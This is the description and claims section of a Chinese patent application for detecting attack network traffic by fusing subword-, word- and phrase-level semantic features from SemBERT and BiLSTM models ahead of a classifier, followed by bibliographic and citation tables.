可以理解,子词级特征向量、词级特征向量与短语级特征向量可以对齐到任一维度(不限于短语级维度,也不限于子词级维度和词级维度)处进行融合。之所以要将子词级特征向量、词级特征向量与短语级特征向量在短语级维度进行融合,一个重要原因在于考虑到若网络流量为攻击网络流量,则其发动攻击需要使其文本的攻击字段符合正确的攻击结构,而这种攻击结构是短语结构,属于短语级语义特征,因此通过将多维度语义特征在短语级维度进行融合可以有利于识别攻击网络流量。还可以理解,将子词级特征向量、词级特征向量与短语级特征向量先对齐到除短语级维度以外的其他维度处进行融合后再将融合结果对齐到短语级维度也是可以的。比如,将子词级特征向量与短语级特征向量先对齐到词级维度与词级特征向量进行融合后再将融合结果对齐到短语级维度。但这需要使短语级特征向量经历上采样和下采样,可能导致信息丢失和失真,而如前所述短语级特征向量本身对于识别属于短语级语义特征的攻击结构很重要,因此这种损失可能是不期望的。综合来看,选择在短语级维度进行融合可以是有利的。另外,原本不在短语级维度的子词级特征向量、词级特征向量经历单向维度对齐(例如,通过下采样降维)到达短语级维度相比于经历多向维度对齐(例如,通过下采样降维和上采样升维)到达短语级维度可以是有利的,因为可以减少反复经历上采样和下采样所导致的信息丢失和失真。
接下来在此描述确定网络流量的类别的过程。
在一些实施例中,可以利用经训练的分类器处理网络流量的文本的语义特征向量,以预测网络流量是正常网络流量还是攻击网络流量。这样的分类器可以基于二分类模型。在一些实施例中,经训练的分类器还可以被配置为在网络流量是攻击网络流量的情况下预测网络流量的攻击类型。这样的分类器可以基于多分类模型。可以用单个分类器来同时预测网络流量是正常网络流量还是哪种攻击类型的攻击网络流量,也可以用串联的两级分类器来先预测网络流量是正常网络流量还是攻击网络流量再在网络流量是攻击网络流量的情况下预测网络流量的攻击类型。例如,攻击网络流量的攻击类型包括但不限于SQLi(Structured Query Language Injection,结构查询语言注入)攻击、RCE(Remote CommandExecution,远程命令执行)攻击、XSS(Cross-site Scripting,跨站脚本)攻击等。
方法100的各种实施例中针对特征向量提取所采用的各种模型(如SemBERT、BiLSTM等)都可以是通过无监督学习预训练的,然后仅需要与分类器分开和/或一起用网络流量攻击场景下的较少量标注训练数据(例如,相比于利用机器学习或深度学习的识别方法所需的大量标注训练数据)进行参数微调即可,因此训练成本低,且模型泛化性好。
方法100通过结合子词级、词级、短语级三个维度的语义信息来识别网络流量,既可以有效应对变形的攻击网络流量,又可以有效应对长文本的网络流量,还可以对符合攻击结构的网络流量文本进行针对性处理,在提高攻击网络流量的检出率的同时降低将正常网络流量误识别为攻击网络流量的误报率,适用于各个网站的各种网络流量的攻击检测场景,既保证了网站的网络安全,又避免影响到网站的正常业务功能。
出于说明性目的,下面结合图2A和图2B描述实现方法100的非限制性示例过程200、200’。
如图2A所示,在步骤S202处,输入网络流量的文本。
在步骤S204处,通过SemBERT模型的BERT支路提取子词级特征向量Ssubword。在步骤S220处,将子词级特征向量依次输入卷积神经网络CNN层、ReLU激活函数层和最大池化层以将其对齐到词级特征向量的维度Ssubword_word。在步骤S222处,将从子词级特征向量得到的词级特征向量依次输入卷积神经网络CNN层、ReLU激活函数层和最大池化层以将其对齐到短语级特征向量的维度Ssubword_phrase。
在步骤S206处,通过SemBERT模型的SRL支路提取词级特征向量Sword。在步骤S224处,将词级特征向量依次输入卷积神经网络CNN层、ReLU激活函数层和最大池化层以将其对齐到短语级特征向量的维度Sword_phrase。
在步骤S208处,将网络流量的文本分割为词元。例如,T={t1,t2,…,tk},其中T为标记化的文本,t1,t2,…,tk为从文本分割得到的k个词元,k为整数。在步骤S210处,按照根据攻击网络流量的文本的攻击结构确定的预设组合规则将相邻词元组合成短语以得到语义序列。例如,由于相邻词元之间的组合方式可能不唯一,因此从T可能得到m种语义序列,P={p1,p2,…,pm},其中m为整数。pi={phrasei 1,phrasei 2,…,phrasei x}(i=1,2,…,m)表示第i种可能的语义序列并由x个短语phrasei组成,其中x为整数。由于不同网络流量的文本所能得到的语义序列的数量m和每个语义序列的长度x都可能不同,因此为了便于后续模型处理,在步骤S212处,通过填充(例如,补零)的方式,将语义序列的数量m对齐到预设数量M(M为不小于m的整数),以及将每个语义序列的长度x对齐到预设长度N(N为不小于x的整数),从而使得任何输入的网络流量的文本都能得到M条语义序列且每条语义序列包括N个短语。在步骤S214处,将预设数量M的语义序列中的每条语义序列映射到向量空间以得到预设数量M的向量序列,Pv={pv 1,pv 2,…,pv M},其中向量序列pv i={vectori 1,vectori 2,…,vectori N}(i=1,2,…,M)。在步骤S216处,将预设数量M的向量序列中的每条向量序列输入BiLSTM层以得到预设数量M的语义表示,其中语义表示si=BiLSTM{vectori 1,vectori 2,…,vectori N}(i=1,2,…,M)。由此,一条输入的网络流量的文本能够提取出来的所有语义表示为S=[s1,s2,…,sM]。在步骤S218处,将预设数量M的语义表示输入全连接层以提取短语级特征向量,Sphrase=WS+B,其中W是全连接层的权重矩阵,B是全连接层的偏置矩阵。
在步骤S226处,将从所提取的子词级特征向量得到的短语级特征向量Ssubword_phrase、从所提取的词级特征向量得到的短语级特征向量Sword_phrase与所提取的短语级特征向量Sphrase进行拼接,以得到语义特征向量X=[Ssubword_phrase,Sword_phrase,Sphrase]。
在步骤S228处,将语义特征向量X输入到经训练的分类器以预测网络流量的类别。在步骤S230处,输出网络流量的类别。
图2B与图2A相比,区别在于用步骤S204’、S220’、S226’替代S204、S206、S220、S222、S224、S226,从而可以先将子词级特征向量和词级特征向量在词级维度进行融合,再将其与短语级特征向量在短语级维度进行融合。具体地,在步骤S204’处,通过SemBERT模型得到利用SemBERT模型的BERT支路提取的子词级特征向量和利用SemBERT模型的SRL支路提取的词级特征向量的词级融合结果;在步骤S220’处,将词级融合结果依次输入卷积神经网络CNN层、ReLU激活函数层和最大池化层以将其对齐到短语级特征向量的维度;在步骤S226’处,将从SemBERT模型的词级融合结果得到的短语级特征向量与所提取的短语级特征向量进行拼接,以得到语义特征向量。
本公开还提供了一种用于识别网络流量的装置。参考图3,用于识别网络流量的装置300包括文本接收模块302、语义提取模块304和流量识别模块306。文本接收模块302被配置为接收网络流量的文本。语义提取模块304被配置为从网络流量的文本分别提取子词级特征向量、词级特征向量和短语级特征向量,并将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量进行融合,从而得到网络流量的文本的语义特征向量。流量识别模块306被配置为基于网络流量的文本的语义特征向量确定网络流量的类别。
在一些实施例中,语义提取模块304被配置为:将网络流量的文本分割为词元;根据预设组合规则将相邻的词元组合为短语,以得到网络流量的文本的与预设组合规则对应的语义序列;从网络流量的文本的语义序列提取语义表示以得到短语级特征向量。例如,预设组合规则可以是根据攻击网络流量的文本的攻击结构来确定的。
在一些实施例中,语义提取模块304被配置为:将语义序列中的短语转换为向量以得到向量序列;利用经训练的语义嵌入模型处理向量序列以得到所述网络流量的文本的语义表示。
在一些实施例中,语义提取模块304被配置为:根据一条或多条预设组合规则中的每条预设组合规则将相邻的词元组合为短语,以得到网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列;针对网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列,将语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到语义表示;将网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义表示进行融合以得到网络流量的文本的语义表示。
在一些实施例中,语义提取模块304被配置为:将针对网络流量的文本得到的语义序列的数量对齐到预设数量,针对网络流量的文本的预设数量的语义序列中的每个语义序列,将语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到语义表示;以及通过全连接层将网络流量的文本的预设数量的语义表示进行融合。
在一些实施例中,语义提取模块304被配置为:针对网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列,将语义序列中的短语转换为向量以得到向量序列,将针对网络流量的文本得到的向量序列的数量对齐到预设数量,以及利用经训练的语义嵌入模型处理所述网络流量的文本的预设数量的向量序列中的每个向量序列以得到语义表示;以及通过全连接层将网络流量的文本的预设数量的语义表示进行融合。
在一些实施例中,语义提取模块304被配置为:将语义序列中的短语转换为向量以得到向量序列并将向量序列对齐到预设长度,或者将语义序列对齐到预设长度并将对齐后的语义序列中的短语转换为向量以得到对齐后的向量序列;以及将对齐后的向量序列输入到经训练的语义嵌入模型以得到网络流量的文本的语义表示。例如,经训练的语义嵌入模型包括BiLSTM网络层。
在一些实施例中,语义提取模块304被配置为:根据预设短语-向量对应表,将语义序列中的短语替换为其在预设短语-向量对应表中对应的向量以得到向量序列。例如,在预设短语-向量对应表中,与攻击网络流量相关的短语可以对应于特定向量,该特定向量可以被配置为使得其文本的向量序列包括该特定向量的网络流量更倾向于被确定为攻击网络流量。
在一些实施例中,语义提取模块304被配置为分别将子词级特征向量和词级特征向量对齐到短语级特征向量的维度,以及将对齐后的子词级特征向量、对齐后的词级特征向量与所述短语级特征向量进行融合。在一些实施例中,语义提取模块304被配置为将子词级特征向量对齐到词级特征向量的维度以与词级特征向量进行融合,以及将融合后的词级特征向量对齐到短语级特征向量的维度以与短语级特征向量进行融合。在一些示例中,将子词级特征向量和词级特征向量对齐到短语级特征向量的维度是通过维度对齐模型进行的。例如,维度对齐模型可以包括池化层。附加地,维度对齐模型还可以包括卷积神经网络层和激活函数层中的至少一者。
在一些实施例中,语义提取模块304被配置为通过经训练的自然语言处理模型从网络流量的文本提取子词级特征向量和词级特征向量。例如,经训练的自然语言处理模型包括SemBERT模型。
在一些实施例中,语义提取模块304被配置为将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量进行拼接。在一些实施例中,语义提取模块304被配置为将子词级特征向量和词级特征向量对齐到短语级特征向量的维度以与短语级特征向量共同输入全连接层进行融合。
在一些实施例中,流量识别模块306被配置为利用经训练的分类器处理网络流量的文本的语义特征向量,以预测网络流量是正常网络流量还是攻击网络流量,以及在网络流量是攻击网络流量的情况下预测网络流量的攻击类型。
用于识别网络流量的装置300的各种实施例类似于前述方法100的各种实施例,因此可以与前面关于方法100的各种实施例的描述相互参照,在此不再赘述。
本公开还提供了一种用于识别网络流量的设备,其可以包括一个或多个处理器,以及存储计算机可执行指令的存储器,所述计算机可执行指令在被所述一个或多个处理器执行时使得所述一个或多个处理器执行根据本公开的前述任一实施例所述的用于识别网络流量的方法。如图4所示,用于识别网络流量的设备400包括(一个或多个)处理器402以及存储计算机可执行指令的存储器404,所述计算机可执行指令在被所述(一个或多个)处理器402执行时使得所述(一个或多个)处理器执行根据本公开的前述任一实施例所述的用于识别网络流量的方法100。(一个或多个)处理器402例如可以是设备400的中央处理单元(CPU)。(一个或多个)处理器402可以是任何类型的通用处理器,或者可以是专门设计用于识别网络流量的处理器,诸如专用集成电路(“ASIC”)。存储器404可以包括可由(一个或多个)处理器402访问的各种计算机可读介质。在各种实施例中,本文描述的存储器404可以包括易失性和非易失性介质、可移除和不可移除介质。例如,存储器404可以包括以下的任何组合:随机存取存储器(“RAM”)、动态RAM(“DRAM”)、静态RAM(“SRAM”)、只读存储器(“ROM”)、闪存、高速缓冲存储器和/或任何其它类型的非瞬态计算机可读介质。存储器404可以存储在被处理器402执行时使得处理器402执行根据本公开的前述任一实施例所述的用于识别网络流量的方法100。
本公开还提供了一种其上存储有计算机可执行指令的非瞬态存储介质,所述计算机可执行指令在被一个或多个处理器执行时使得所述一个或多个处理器执行根据本公开的前述任一实施例所述的用于识别网络流量的方法100。
本公开还提供了一种计算机程序产品,该计算机程序产品可以包括指令,当指令被处理器执行时,可以实现根据本公开的前述任一实施例所述的用于识别网络流量的方法100。指令可以是将由一个或多个处理器直接地执行的任何指令集,诸如机器代码,或者间接地执行的任何指令集,诸如脚本。指令可以存储为目标代码格式以便由一个或多个处理器直接处理,或者存储为任何其他计算机语言,包括按需解释或提前编译的独立源代码模块的脚本或集合。
图5示出了可以在其上实现本公开的实施例的计算机系统500的示意性框图。计算机系统500包括总线502或用于传送信息的其它通信机构,以及与总线502耦合的用于处理信息的处理装置504。计算机系统500还包括与总线502耦合的用于存储要由处理装置504执行的指令的存储器506,存储器506可以是随机存取存储器(RAM)或其它动态存储设备。存储器506还可以被用于在要由处理装置504执行的指令的执行期间存储临时变量或其它中间信息。计算机系统500还包括耦合到总线502的用于为处理装置504存储静态信息和指令的只读存储器(ROM)508或其它静态存储设备。诸如磁盘或光盘之类的存储装置510被提供并且被耦合到总线502以用于存储信息和指令。计算机系统500可以经由总线502耦合到用于向用户提供输出的输出设备512,例如但不限于显示器(诸如阴极射线管(CRT)或液晶显示器(LCD))、扬声器等。诸如键盘、鼠标、麦克风等之类的输入设备514被耦合到总线502,以用于将信息和命令选择传送给处理装置504。计算机系统500可以执行本公开的实施例。与本公开的某些实现方式一致,由计算机系统500响应于处理装置504执行存储器506中所包含的一个或多个指令的一个或多个序列来提供结果。可以将这种指令从诸如存储装置510之类的另一计算机可读介质读取到存储器506中。存储器506中所包含的指令序列的执行使处理装置504执行本文描述的方法。可替代地,可以使用硬连线电路系统取代软件指令或者结合软件指令来实现本教导。因此,本公开的实现方式不限于硬件电路系统与软件的任何特定组合。在各种实施例中,计算机系统500可以经由网络接口516跨网络连接到如计算机系统500一样的一个或多个其它计算机系统,以形成联网系统。该网络可以包括专用网络或诸如互联网之类的公共网络。在联网系统中,一个或多个计算机系统可以存储数据并且将数据供应给其它计算机系统。如本文使用的术语“计算机可读介质”是指参与向处理装置504提供指令以供执行的任何介质。这种介质可以采用许多形式,包括但不限于非易失性介质、易失性介质和传输介质。非易失性介质包括例如诸如存储装置510之类的光盘或磁盘。易失性介质包括诸如存储器506之类的动态存储器。传输介质包括同轴电缆、铜线和光纤,包括包含总线502的布线。常见形式的计算机可读介质或计算机程序产品包括例如软盘、柔性盘、硬盘、磁带、或任何其它磁性介质、CD-ROM、数字视频盘(DVD)、蓝光盘、任何其它光学介质、拇指驱动器、存储器卡、RAM、PROM和EPROM、快速EPROM、任何其它存储器芯片或盒、或计算机可以从中读取的任何其它有形介质。在将一个或多个指令的一个或多个序列携带到处理装置504以供执行时可以涉及各种形式的计算机可读介质。例如,指令最初可以被携带在远程计算机的磁盘上。远程计算机可以将指令加载到其动态存储器中并且使用调制解调器通过电话线发送指令。计算机系统500本地的调制解调器可以在电话线上接收数据,并且使用红外发射器将数据转换成红外信号。耦合到总线502的红外检测器可以接收在红外信号中携带的数据,并且将数据置于总线502上。总线502将数据携带到存储器506,处理装置504从存储器506中检索指令并执行指令。可选地,由存储器506接收到的指令可以在由处理装置504执行之前或之后被存储在存储装置510上。
根据各种实施例,被配置为由处理装置执行以执行方法的指令被存储在计算机可读介质上。计算机可读介质可以是存储数字信息的设备。例如,计算机可读介质包括如本领域中已知用于存储软件的致密盘只读存储器(CD-ROM)。计算机可读介质由适合于执行被配置为被执行的指令的处理器访问。
上述对本公开的一个或多个示例性实施例进行了描述。其它实施例在所附权利要求书的范围内。在一些情况下,在权利要求书中记载的动作或步骤可以按照不同于实施例中的顺序来执行并且仍然可以实现期望的结果。另外,在附图中描绘的过程不一定要求示出的特定顺序或者连续顺序才能实现期望的结果。在某些实施方式中,多任务处理和并行处理也是可以的或者可能是有利的。
上述实施例阐明的系统、装置、模块或单元,具体可以由计算机芯片或实体实现,或者由具有某种功能的产品来实现。一种典型的实现设备为服务器系统。当然,本公开不排除随着未来计算机技术的发展,实现上述实施例功能的计算机例如可以为个人计算机、膝上型计算机、车载人机交互设备、蜂窝电话、相机电话、智能电话、个人数字助理、媒体播放器、导航设备、电子邮件设备、游戏控制台、平板计算机、可穿戴设备或者这些设备中的任何设备的组合。
虽然本公开的一个或多个实施例提供了如实施例或流程图所述的方法操作步骤,但基于常规或者无创造性的手段可以包括更多或者更少的操作步骤。实施例中列举的步骤顺序仅仅为众多步骤执行顺序中的一种方式,不代表唯一的执行顺序。在实际中的装置或终端产品执行时,可以按照实施例或者附图所示的方法顺序执行或者并行执行(例如并行处理器或者多线程处理的环境,甚至为分布式数据处理环境)。
术语“包括”、“包含”或者其任何其它变体意在涵盖非排他性的包含,从而使得包括一系列要素的过程、方法、产品或者设备不仅包括那些要素,而且还包括没有明确列出的其它要素,或者是还包括为这种过程、方法、产品或者设备所固有的要素。在没有更多限制的情况下,并不排除在包括所述要素的过程、方法、产品或者设备中还存在另外的相同或等同要素。例如若使用到“第一”、“第二”等词语用来表示名称,而并不表示任何特定的顺序。
为了描述的方便,描述以上装置时以功能分为各种模块分别描述。当然,在实施本公开的一个或多个实施例时可以把各模块的功能在同一个或多个软件和/或硬件中实现,也可以将实现同一功能的模块由多个子模块或子单元的组合实现等。以上所描述的装置实施例仅仅是示意性的,例如,所述单元的划分,仅仅为一种逻辑功能划分,实际实现时可以有另外的划分方式,例如多个单元或组件可以结合或者可以集成到另一个系统,或一些特征可以忽略,或不执行。另一点,所显示或讨论的相互之间的耦合或直接耦合或通信连接可以是通过一些接口,装置或单元的间接耦合或通信连接,可以是电性,机械或其它的形式。
本公开是参照根据本公开实施例的方法、装置(系统)、和计算机程序产品的流程图和/或方框图来描述的。应理解可由计算机程序指令实现流程图和/或方框图中的每一流程和/或方框、以及流程图和/或方框图中的流程和/或方框的结合。可提供这些计算机程序指令到通用计算机、专用计算机、嵌入式处理机或其它可编程数据处理设备的处理器以产生一个机器,使得通过计算机或其它可编程数据处理设备的处理器执行的指令产生用于实现在流程图的一个流程或多个流程和/或方框图的一个方框或多个方框中指定的功能的装置。
这些计算机程序指令也可存储在能引导计算机或其它可编程数据处理设备以特定方式工作的计算机可读存储器中,使得存储在该计算机可读存储器中的指令产生包括指令装置的制造品,该指令装置实现在流程图的一个流程或多个流程和/或方框图的一个方框或多个方框中指定的功能。这些计算机程序指令也可装载到计算机或其它可编程数据处理设备上,使得在计算机或其它可编程设备上执行一系列操作步骤以产生计算机实现的处理,从而在计算机或其它可编程设备上执行的指令提供用于实现在流程图的一个流程或多个流程和/或方框图的一个方框或多个方框中指定的功能的步骤。
本领域技术人员应明白,本公开的一个或多个实施例可采用完全硬件实施例、完全软件实施例或结合软件和硬件方面的实施例的形式。而且,本公开的一个或多个实施例可采用在一个或多个其中包含有计算机可用程序代码的计算机可用存储介质(包括但不限于磁盘存储器、CD-ROM、光学存储器等)上实施的计算机程序产品的形式。
本公开的一个或多个实施例可以在由计算机执行的计算机可执行指令的一般上下文中描述,例如程序模块。一般地,程序模块包括执行特定任务或实现特定抽象数据类型的例程、程序、对象、组件、数据结构等等。也可以在分布式计算环境中实践本公开的一个或多个实施例,在这些分布式计算环境中,由通过通信网络而被连接的远程处理设备来执行任务。在分布式计算环境中,程序模块可以位于包括存储设备在内的本地和远程计算机存储介质中。
本公开的各个实施例之间相同或相似的部分可互相参见,每个实施例重点说明的都是与其它实施例的不同之处。尤其,对于装置实施例而言,由于其基本相似于方法实施例,所以描述的比较简单,相关之处参见方法实施例的部分说明即可。在本公开的描述中,参考术语“一个实施例”、“一些实施例”、“示例”、“具体示例”、或“一些示例”等的描述意指结合该实施例或示例描述的具体特征、结构、材料或者特点包含于本公开的至少一个实施例或示例中。在本公开中,对上述术语的示意性表述不必须针对的是相同的实施例或示例。而且,描述的具体特征、结构、材料或者特点可以在任一个或多个实施例或示例中以合适的方式结合。此外,在不相互矛盾的情况下,本领域的技术人员可以将本公开中描述的不同实施例或示例以及不同实施例或示例的特征进行结合和组合。
另外,当在本公开中使用时,词语“此处”、“以上”、“以下”、“下文”、“上文”和类似含义的词语应当指代本公开的整体而不是本公开的任何特定部分。此外,除非另有明确说明或者在所使用的上下文中以其它方式理解,否则本文使用的条件语言,例如“可以”、“可能”、“例如”、“诸如”等等通常旨在表达某些实施例包括,而其它实施例不包括某些特征、元素和/或状态。因此,这种条件语言通常不旨在暗示一个或多个实施例以任何方式需要特征、元素和/或状态,或者是否包括这些特征、元素和/或状态或者在任何特定实施例中执行这些特征、元素和/或状态。
以上所述仅为本公开的一个或多个实施例的实施例而已,并不用于限制本公开的一个或多个实施例。对于本领域技术人员来说,本公开的一个或多个实施例可以有各种更改和变化。凡在本公开的精神和原理之内所作的任何修改、等同替换、改进等,均应包含在权利要求范围之内。
Claims (18)
1.一种用于识别网络流量的方法,包括:
接收网络流量的文本;
从所述网络流量的文本分别提取子词级特征向量、词级特征向量和短语级特征向量;
将所述子词级特征向量和所述词级特征向量对齐到所述短语级特征向量的维度以与所述短语级特征向量进行融合,从而得到所述网络流量的文本的语义特征向量;以及
基于所述网络流量的文本的所述语义特征向量确定所述网络流量的类别。
2.根据权利要求1所述的方法,其中,从所述网络流量的文本提取短语级特征向量包括:
将所述网络流量的文本分割为词元;
根据预设组合规则将相邻的词元组合为短语,以得到所述网络流量的文本的与所述预设组合规则对应的语义序列;
从所述网络流量的文本的语义序列提取语义表示以得到所述短语级特征向量。
3.根据权利要求2所述的方法,其中,所述预设组合规则是根据攻击网络流量的文本的攻击结构来确定的。
4.根据权利要求2所述的方法,其中,从所述网络流量的文本的语义序列提取语义表示包括:
将所述语义序列中的短语转换为向量以得到向量序列;
利用经训练的语义嵌入模型处理向量序列以得到所述网络流量的文本的语义表示。
5.根据权利要求2所述的方法,其中,
根据预设组合规则将相邻的词元组合为短语,以得到所述网络流量的文本的与所述预设组合规则对应的语义序列包括:根据一条或多条预设组合规则中的每条预设组合规则将相邻的词元组合为短语,以得到所述网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列;
从所述网络流量的文本的语义序列提取语义表示包括:
针对所述网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列,将所述语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到语义表示;
将所述网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义表示进行融合以得到所述网络流量的文本的语义表示。
6.根据权利要求5所述的方法,其中,在得到所述网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列后,从所述网络流量的文本的语义序列提取语义表示包括:
以下之一:
将针对所述网络流量的文本得到的语义序列的数量对齐到预设数量,针对所述网络流量的文本的所述预设数量的语义序列中的每个语义序列,将所述语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到语义表示;或者
针对所述网络流量的文本的与所述一条或多条预设组合规则中的每条预设组合规则对应的语义序列,将所述语义序列中的短语转换为向量以得到向量序列,将针对所述网络流量的文本得到的向量序列的数量对齐到预设数量,以及利用经训练的语义嵌入模型处理所述网络流量的文本的所述预设数量的向量序列中的每个向量序列以得到语义表示;以及
通过全连接层将所述网络流量的文本的所述预设数量的语义表示进行融合。
7.根据权利要求4至6中任一项所述的方法,其中,将所述语义序列中的短语转换为向量以得到向量序列,以及利用经训练的语义嵌入模型处理向量序列以得到所述网络流量的文本的语义表示包括:
将所述语义序列中的短语转换为向量以得到向量序列并将向量序列对齐到预设长度,或者将所述语义序列对齐到预设长度并将对齐后的语义序列中的短语转换为向量以得到对齐后的向量序列;以及
将对齐后的向量序列输入到所述经训练的语义嵌入模型以得到所述网络流量的文本的语义表示,
以及其中,所述经训练的语义嵌入模型包括双向长短期记忆BiLSTM网络层。
8.根据权利要求4至6中任一项所述的方法,其中,将所述语义序列中的短语转换为向量以得到向量序列包括:
根据预设短语-向量对应表,将所述语义序列中的短语替换为其在所述预设短语-向量对应表中对应的向量以得到向量序列,
以及其中,在所述预设短语-向量对应表中,与攻击网络流量相关的短语对应于特定向量,所述特定向量被配置为使得其文本的向量序列包括所述特定向量的网络流量更倾向于被确定为攻击网络流量。
9.根据权利要求1至6中任一项所述的方法,其中,将所述子词级特征向量和所述词级特征向量对齐到所述短语级特征向量的维度以与所述短语级特征向量进行融合包括以下之一:
分别将所述子词级特征向量和所述词级特征向量对齐到所述短语级特征向量的维度,以及将对齐后的所述子词级特征向量、对齐后的所述词级特征向量与所述短语级特征向量进行融合;或者
将所述子词级特征向量对齐到所述词级特征向量的维度以与所述词级特征向量进行融合,以及将融合后的词级特征向量对齐到所述短语级特征向量的维度以与所述短语级特征向量进行融合。
10.根据权利要求1至6中任一项所述的方法,其中,将所述子词级特征向量和所述词级特征向量对齐到所述短语级特征向量的维度是通过维度对齐模型进行的,所述维度对齐模型包括池化层。
11.根据权利要求10所述的方法,其中,所述维度对齐模型还包括卷积神经网络层和激活函数层中的至少一者。
12.根据权利要求1至6中任一项所述的方法,其中,从所述网络流量的文本提取子词级特征向量和词级特征向量是通过经训练的自然语言处理模型进行的,所述经训练的自然语言处理模型包括语义感知的来自变换器的双向编码器表示SemBERT模型。
13.根据权利要求1至6中任一项所述的方法,其中,将所述子词级特征向量和所述词级特征向量对齐到所述短语级特征向量的维度以与所述短语级特征向量进行融合包括以下之一:
将所述子词级特征向量和所述词级特征向量对齐到所述短语级特征向量的维度以与所述短语级特征向量进行拼接;或者
将所述子词级特征向量和所述词级特征向量对齐到所述短语级特征向量的维度以与所述短语级特征向量共同输入全连接层进行融合。
14.根据权利要求1至6中任一项所述的方法,其中,基于所述网络流量的文本的所述语义特征向量确定所述网络流量的类别包括:
利用经训练的分类器处理所述网络流量的文本的所述语义特征向量,以预测所述网络流量是正常网络流量还是攻击网络流量,以及在所述网络流量是攻击网络流量的情况下预测所述网络流量的攻击类型。
15.一种用于识别网络流量的装置,包括:
文本接收模块,被配置为接收网络流量的文本;
语义提取模块,被配置为:
从所述网络流量的文本分别提取子词级特征向量、词级特征向量和短语级特征向量;
将所述子词级特征向量和所述词级特征向量对齐到所述短语级特征向量的维度以与所述短语级特征向量进行融合,从而得到所述网络流量的文本的语义特征向量;以及
流量识别模块,被配置为基于所述网络流量的文本的所述语义特征向量确定所述网络流量的类别。
16.一种用于识别网络流量的设备,包括:
一个或多个处理器;以及
存储计算机可执行指令的存储器,所述计算机可执行指令在被所述一个或多个处理器执行时使得所述一个或多个处理器执行根据权利要求1至14中任一项所述的用于识别网络流量的方法。
17.一种其上存储有计算机可执行指令的非瞬态存储介质,所述计算机可执行指令在被计算机执行时使得计算机执行根据权利要求1至14中任一项所述的用于识别网络流量的方法。
18.一种计算机程序产品,所述计算机程序产品包括指令,所述指令在被处理器执行时实现根据权利要求1至14中任一项所述的用于识别网络流量的方法。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202311773840.7A CN117914542A (zh) | 2023-12-21 | 2023-12-21 | 用于识别网络流量的方法、装置、设备及存储介质 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202311773840.7A CN117914542A (zh) | 2023-12-21 | 2023-12-21 | 用于识别网络流量的方法、装置、设备及存储介质 |
Publications (1)
Publication Number | Publication Date |
---|---|
CN117914542A true CN117914542A (zh) | 2024-04-19 |
Family
ID=90695918
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN202311773840.7A Pending CN117914542A (zh) | 2023-12-21 | 2023-12-21 | 用于识别网络流量的方法、装置、设备及存储介质 |
Country Status (1)
Country | Link |
---|---|
CN (1) | CN117914542A (zh) |
-
2023
- 2023-12-21 CN CN202311773840.7A patent/CN117914542A/zh active Pending
Similar Documents
Publication | Publication Date | Title |
---|---|---|
WO2020199904A1 (zh) | 视频描述信息的生成方法、视频处理方法、相应的装置 | |
CN111159409B (zh) | 基于人工智能的文本分类方法、装置、设备、介质 | |
CN113704460B (zh) | 一种文本分类方法、装置、电子设备和存储介质 | |
JP2023022845A (ja) | ビデオ処理方法、ビデオサーチ方法及びモデルトレーニング方法、装置、電子機器、記憶媒体及びコンピュータプログラム | |
CN113705315A (zh) | 视频处理方法、装置、设备及存储介质 | |
CN113886601A (zh) | 电子文本事件抽取方法、装置、设备及存储介质 | |
CN112464655A (zh) | 中文字符和拼音相结合的词向量表示方法、装置、介质 | |
CN112417878A (zh) | 实体关系抽取方法、系统、电子设备及存储介质 | |
CN115146068A (zh) | 关系三元组的抽取方法、装置、设备及存储介质 | |
CN113204956B (zh) | 多模型训练方法、摘要分段方法、文本分段方法及装置 | |
CN112307175B (zh) | 一种文本处理方法、装置、服务器及计算机可读存储介质 | |
CN112199954A (zh) | 基于语音语义的疾病实体匹配方法、装置及计算机设备 | |
CN115115432B (zh) | 基于人工智能的产品信息推荐方法及装置 | |
CN114792092B (zh) | 一种基于语义增强的文本主题抽取方法及装置 | |
Jiang et al. | Difm: An effective deep interaction and fusion model for sentence matching | |
CN112507388B (zh) | 基于隐私保护的word2vec模型训练方法、装置及系统 | |
Ballal et al. | A study of deep learning in text analytics | |
CN117914542A (zh) | 用于识别网络流量的方法、装置、设备及存储介质 | |
CN114417891A (zh) | 基于粗糙语义的回复语句确定方法、装置及电子设备 | |
Miraj et al. | Combining BERT and multiple embedding methods with the deep neural network for humor detection | |
Liu et al. | A Graph Convolutional Network‐Based Sensitive Information Detection Algorithm | |
Dey et al. | EKTVQA: Generalized Use of External Knowledge to Empower Scene Text in Text-VQA | |
Aravindkumar et al. | Generation of image caption using CNN-LSTM based approach | |
CN117290510B (zh) | 文档信息抽取方法、模型、电子设备及可读介质 | |
Ding et al. | Graph fusion multimodal named entity recognition based on auxiliary relation enhancement |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
PB01 | Publication | ||
PB01 | Publication | ||
SE01 | Entry into force of request for substantive examination | ||
SE01 | Entry into force of request for substantive examination |